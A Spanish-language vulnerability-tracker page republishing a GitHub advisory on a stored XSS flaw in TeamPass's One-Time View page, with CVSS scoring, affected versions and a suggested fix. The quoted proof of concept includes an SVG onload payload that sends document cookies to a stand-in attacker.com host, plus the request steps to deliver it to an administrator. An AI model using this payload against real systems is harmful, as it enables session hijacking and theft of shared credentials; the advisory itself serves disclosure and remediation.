llamaCVEVulnerability Intelligence
/
Advisory · GitHub · Packagist · nilsteampassnet/teampass

GHSA-CPGH-9H3X-R8GM

Stored XSS via Unescaped URL Field in One-Time View (OTV) Page

Sin parche publicado
Descargar PNG JSON
CVSS 3.1
7.6
Alta
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
ParcheSin parcheEl fabricante no ha publicado corrección
Exposición113 dDesde la divulgación, 31 jul 2026, 12:49 a. m.
Detección111 dDesde la divulgación hasta su ingreso al índice
Decisión estimadaSeguir
Remediar en la ventana regular de mantenimiento
Estimación de Llama con el árbol SSVC de CISA a partir de vector CVSS 3.1 y la evidencia de explotación (sin evaluación oficial): sin explotación conocida, no automatizable e impacto técnico parcial. No hay versión corregida: aplique mitigaciones.
No es drama, es prevención. Hazme caso.Nivel de sospecha: ceja levantada.
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Monitoreo
Detectada +1
31 jul 26
19 nov 26
21 nov 26
31 jul 26
28 ago 26
25 sept 26
24 oct 26
21 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-CPGH-9H3X-R8GM divulgada · CVSS 7.6 (GitHub)
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

### Summary
The One-Time View page (`app/core/otv.php`) renders the item `url` column directly into HTML without any output encoding. When an item is created, the URL is filtered through PHP's `FILTER_SANITIZE_URL`, which preserves `<`, `>`, `"`, `'`, `/`, `(`, `)`, `:`, and all alphanumeric characters — sufficient to construct working HTML injection payloads. Any user with write access to a folder can craft a malicious URL, generate an OTV link, and send it to another user. When the recipient opens the OTV link, the stored payload executes in their browser on the TeamPass origin.

### Details
`app/sources/items.queries.php:268` — URL stored with `FILTER_SANITIZE_URL`, which does not strip `<`, `>`, `(`, `)`:

$post_url = filter_var(htmlspecialchars_decode($dataReceived['url']), FILTER_SANITIZE_URL);

`FILTER_SANITIZE_URL` allows the character set `[A-Za-z0-9$\-_.+!*'(),{}|\^~[]<>#%";/?:@&=]`. The payload `<svg/onload=alert(1)>` passes through unchanged.

`app/core/otv.php:177` — URL fetched from DB with no escaping:

$url = strval($dataItem['url'] ?? '');

`app/core/otv.php:190` — URL output directly into HTML context:

$html = '...<tr><th>URL:</th><td>'.$url.'</td></tr>...';
PoC
# Step 1: Authenticated user creates an item with URL:
#   <svg/onload="fetch('https://attacker.com/?c='+document.cookie)">

# Step 2: User generates an OTV link for that item:
POST /app/sources/items.queries.php
type=generate_otv_for_item&data={"id":<item_id>, "days":1, "views":5}&key=<session_key>

# Step 3: OTV link is sent to admin:
# https://teampass.example.com/index.php?otv=true&code=<code>&stamp=<ts>&key=<key>

# Step 4: Admin opens OTV page, SVG payload executes, exfiltrating session cookies

No victim interaction beyond opening the OTV link is required. OTV links are designed to be shared with users who do NOT have a TeamPass account, broadening the victim pool.

### Impact
An attacker with any write-access role can escalate to session hijacking of any OTV link recipient, including administrators. Combined with the privilege escalation finding, this creates a full account takeover chain. The OTV feature is explicitly used to share credentials with external parties, so a malicious insider can target external users.

### Fix
Apply `htmlspecialchars($url, ENT_QUOTES, 'UTF-8')` before inserting into the HTML string at `app/core/otv.php:177–190`. Additionally, validate URL schemes on write (allowlist `http://`, `https://`, `ftp://`) to prevent `javascript:` URI injection.

If possible, please apply for a CVE number when posting.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
PrivilegiosPR:L
NingunoBajosAltos
InteracciónUI:R
NingunaRequerida
AlcanceS:C
CambiadoSin cambio
ConfidencialidadC:H
AltoBajoNinguno
IntegridadI:L
AltoBajoNinguno
DisponibilidadA:N
AltoBajoNinguno
Score de explotaciónQué tan fácil y probable es que la exploten
7.2/ 10Alto
Vector 7.2 (fácil) · sin evidencia de explotación.
Versiones

Rangos afectados

Afectada Corregida
nilsteampassnet/teampass≤ 3.1.7.6
3.1.7.6
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
Packagistnilsteampassnet/teampass
Sin parche — — —
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/nilsteampassnet/TeamPass/security/advisories/GHSA-cpgh-9h3x-r8gm

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.